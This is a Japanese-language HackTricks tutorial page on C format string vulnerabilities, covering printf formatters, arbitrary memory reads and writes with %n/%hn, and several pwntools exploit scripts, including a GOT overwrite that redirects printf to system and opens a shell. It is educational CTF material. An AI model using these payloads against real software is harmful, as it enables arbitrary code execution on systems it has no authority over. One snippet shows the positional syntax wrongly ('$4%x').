mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 22:18:27 +00:00
229 lines
12 KiB
Markdown
229 lines
12 KiB
Markdown
# フォーマット文字列
|
||
|
||
<details>
|
||
|
||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じて、ゼロからヒーローまでAWSハッキングを学びましょう</strong></a><strong>!</strong></summary>
|
||
|
||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
|
||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||
* **ハッキングトリックを共有するには、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください**。
|
||
|
||
</details>
|
||
|
||
## 基本情報
|
||
|
||
C言語では、**`printf`**は文字列を**表示**するために使用できる関数です。この関数が期待する**最初のパラメータ**は、**フォーマッタを含む生のテキスト**です。期待される**次のパラメータ**は、生のテキストから**フォーマッタを置換する値**です。
|
||
|
||
他の脆弱な関数には**`sprintf()`**と**`fprintf()`**があります。
|
||
|
||
脆弱性が発生するのは、この関数の**最初の引数として攻撃者のテキスト**が使用された場合です。攻撃者は、**printfフォーマット文字列の機能を悪用**して、**任意のアドレス(読み取り可能/書き込み可能)のデータを読み取りおよび書き込み**する**特別な入力**を作成できます。これにより、**任意のコードを実行**できるようになります。
|
||
|
||
#### フォーマッタ:
|
||
```bash
|
||
%08x —> 8 hex bytes
|
||
%d —> Entire
|
||
%u —> Unsigned
|
||
%s —> String
|
||
%p —> Pointer
|
||
%n —> Number of written bytes
|
||
%hn —> Occupies 2 bytes instead of 4
|
||
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
|
||
```
|
||
**例:**
|
||
|
||
* 脆弱性のある例:
|
||
```c
|
||
char buffer[30];
|
||
gets(buffer); // Dangerous: takes user input without restrictions.
|
||
printf(buffer); // If buffer contains "%x", it reads from the stack.
|
||
```
|
||
* 通常の使用方法:
|
||
```c
|
||
int value = 1205;
|
||
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
||
```
|
||
* 不足している引数を使用した場合:
|
||
```c
|
||
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
|
||
```
|
||
* fprintf 脆弱性:
|
||
```c
|
||
#include <stdio.h>
|
||
|
||
int main(int argc, char *argv[]) {
|
||
char *user_input;
|
||
user_input = argv[1];
|
||
FILE *output_file = fopen("output.txt", "w");
|
||
fprintf(output_file, user_input); // The user input cna include formatters!
|
||
fclose(output_file);
|
||
return 0;
|
||
}
|
||
```
|
||
### **ポインタへのアクセス**
|
||
|
||
フォーマット**`%<n>$x`**は、`n`が数字である場合、printfにn番目のパラメータ(スタックから)を選択させることができます。したがって、printfを使用してスタックから4番目のパラメータを読み取りたい場合は、次のようにします:
|
||
```c
|
||
printf("%x %x %x %x")
|
||
```
|
||
そして、最初から4番目のパラメータまで読み取ることができます。
|
||
|
||
または、次のようにすることもできます:
|
||
```c
|
||
printf("$4%x")
|
||
```
|
||
そして、4番目を直接読み取ります。
|
||
|
||
攻撃者が`pr`**`intf`パラメータを制御していることに注意してください。** これは基本的に、`printf`が呼び出されるときにスタックに彼の入力があることを意味し、つまり、彼はスタックに特定のメモリアドレスを書き込むことができます。
|
||
|
||
{% hint style="danger" %}
|
||
この入力を制御する攻撃者は、**スタックに任意のアドレスを追加し、`printf`がそれにアクセスする**ことができます。次のセクションでは、この動作の使用方法について説明します。
|
||
{% endhint %}
|
||
|
||
## **任意の読み取り**
|
||
|
||
フォーマッタ**`%n$s`**を使用して、**`printf`**が**n番目にあるアドレス**を取得し、それに続いて**文字列として出力**することが可能です(0x00が見つかるまで出力)。したがって、バイナリのベースアドレスが**`0x8048000`**であり、ユーザー入力がスタックの4番目の位置から始まることを知っている場合、バイナリの先頭を次のように出力できます:
|
||
```python
|
||
from pwn import *
|
||
|
||
p = process('./bin')
|
||
|
||
payload = b'%6$s' #4th param
|
||
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
|
||
payload += p32(0x8048000) #6th param
|
||
|
||
p.sendline(payload)
|
||
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
||
```
|
||
{% hint style="danger" %}
|
||
アドレス0x8048000を入力の先頭に置くことはできません。なぜなら、そのアドレスの末尾には0x00が連結されるからです。
|
||
{% endhint %}
|
||
|
||
### オフセットの検索
|
||
|
||
入力のオフセットを見つけるために、4バイトまたは8バイト(`0x41414141`)を送信し、**`%1$x`** に続けて値を**増やして**いき、`A's` を取得します。
|
||
|
||
<details>
|
||
|
||
<summary>Brute Force printf offset</summary>
|
||
```python
|
||
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
|
||
|
||
from pwn import *
|
||
|
||
# Iterate over a range of integers
|
||
for i in range(10):
|
||
# Construct a payload that includes the current integer as offset
|
||
payload = f"AAAA%{i}$x".encode()
|
||
|
||
# Start a new process of the "chall" binary
|
||
p = process("./chall")
|
||
|
||
# Send the payload to the process
|
||
p.sendline(payload)
|
||
|
||
# Read and store the output of the process
|
||
output = p.clean()
|
||
|
||
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
|
||
if b"41414141" in output:
|
||
# If the string is found, log the success message and break out of the loop
|
||
log.success(f"User input is at offset : {i}")
|
||
break
|
||
|
||
# Close the process
|
||
p.close()
|
||
```
|
||
</details>
|
||
|
||
### 有用性
|
||
|
||
任意読み取りは以下のように役立つことがあります:
|
||
|
||
- メモリから**バイナリ**を**ダンプ**する
|
||
- キャナリー、暗号キー、またはカスタムパスワードなどの**機密情報が格納されているメモリの特定の部分にアクセスする**(この[**CTFチャレンジ**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)でのように)
|
||
|
||
## **任意書き込み**
|
||
|
||
フォーマッタ **`$<num>%n`** は、スタック内の\<num>パラメータで指定されたアドレスに**書き込まれたバイト数**を書き込みます。攻撃者がprintfで好きなだけ文字を書き込める場合、**`$<num>%n`** を使用して任意の数値を任意のアドレスに書き込むことができます。
|
||
|
||
幸いなことに、数値9999を書き込むには、入力に9999個の"A"を追加する必要はありません。そのためには、フォーマッタ **`%.<num-write>%<num>$n`** を使用して、**`num`の位置で指定されたアドレスに数値`<num-write>`**を書き込むことができます。
|
||
```bash
|
||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||
AAAA.%500\$08x —> Param at offset 500
|
||
```
|
||
しかしながら、通常、`0x08049724` のようなアドレスを書くために(これは一度に書くには巨大な数です)、**`$n`** の代わりに **`$hn`** が使用されます。これにより、**2 バイトだけを書く**ことができます。したがって、この操作はアドレスの上位 2 バイトと下位 2 バイトの両方に対して 2 回行われます。
|
||
|
||
したがって、この脆弱性により、**任意のアドレスに任意のデータを書き込むことが可能**です。
|
||
|
||
この例では、後で呼び出される **GOT テーブル**内の **関数**の **アドレス**を **上書き** することが目標となります。これにより他の任意の書き込みを実行するテクニックを悪用できます:
|
||
|
||
{% content-ref url="../arbitrary-write-2-exec/" %}
|
||
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
|
||
{% endcontent-ref %}
|
||
|
||
**ユーザー**から **引数**を **受け取る関数**の **アドレス**を **`system` 関数**に **ポイント** させます。\
|
||
前述のように、アドレスを書き込むには通常 2 ステップが必要です: まず、アドレスの 2 バイトを書き込み、その後残りの 2 バイトを書き込みます。これには **`$hn`** が使用されます。
|
||
|
||
* **HOB** はアドレスの上位 2 バイトを指します
|
||
* **LOB** はアドレスの下位 2 バイトを指します
|
||
|
||
その後、フォーマット文字列の動作により、\[HOB、LOB] のうち **小さい方を最初に書き込む** 必要があります。
|
||
|
||
HOB < LOB の場合\
|
||
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||
|
||
HOB > LOB の場合\
|
||
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
|
||
|
||
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
|
||
|
||
{% code overflow="wrap" %}
|
||
```bash
|
||
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
|
||
```
|
||
{% endcode %}
|
||
|
||
### Pwntoolsのテンプレート
|
||
|
||
この種の脆弱性に対するエクスプロイトを準備するための**テンプレート**を以下で見つけることができます:
|
||
|
||
{% content-ref url="format-strings-template.md" %}
|
||
[format-strings-template.md](format-strings-template.md)
|
||
{% endcontent-ref %}
|
||
|
||
または、[**こちら**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)からの基本的な例:
|
||
```python
|
||
from pwn import *
|
||
|
||
elf = context.binary = ELF('./got_overwrite-32')
|
||
libc = elf.libc
|
||
libc.address = 0xf7dc2000 # ASLR disabled
|
||
|
||
p = process()
|
||
|
||
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
|
||
p.sendline(payload)
|
||
|
||
p.clean()
|
||
|
||
p.sendline('/bin/sh')
|
||
|
||
p.interactive()
|
||
```
|
||
## バイナリオーバーフローへのフォーマット文字列
|
||
|
||
フォーマット文字列の脆弱性の書き込みアクションを悪用して、**スタックのアドレスに書き込み**、**バッファオーバーフロー**タイプの脆弱性を悪用することが可能です。
|
||
|
||
## その他の例と参考文献
|
||
|
||
* [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
|
||
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
||
* [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
|
||
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
|
||
* 32ビット、relroなし、canaryなし、nx、pieなし、フォーマット文字列を使用してスタックからフラグをリークする基本的な使用例(実行フローを変更する必要はありません)
|
||
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
|
||
* 32ビット、relro、canaryなし、nx、pieなし、フォーマット文字列を使用して`fflush`のアドレスをwin関数(ret2win)で上書きする
|
||
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
|
||
* 32ビット、relro、canaryなし、nx、pieなし、フォーマット文字列を使用して、`.fini_array`内のmain内のアドレスを書き込み(フローが1回追加でループする)、`system`のアドレスを`strlen`を指すGOTテーブルに書き込みます。フローがmainに戻ると、ユーザー入力で`strlen`が実行され、`system`を指すようになり、渡されたコマンドが実行されます。
|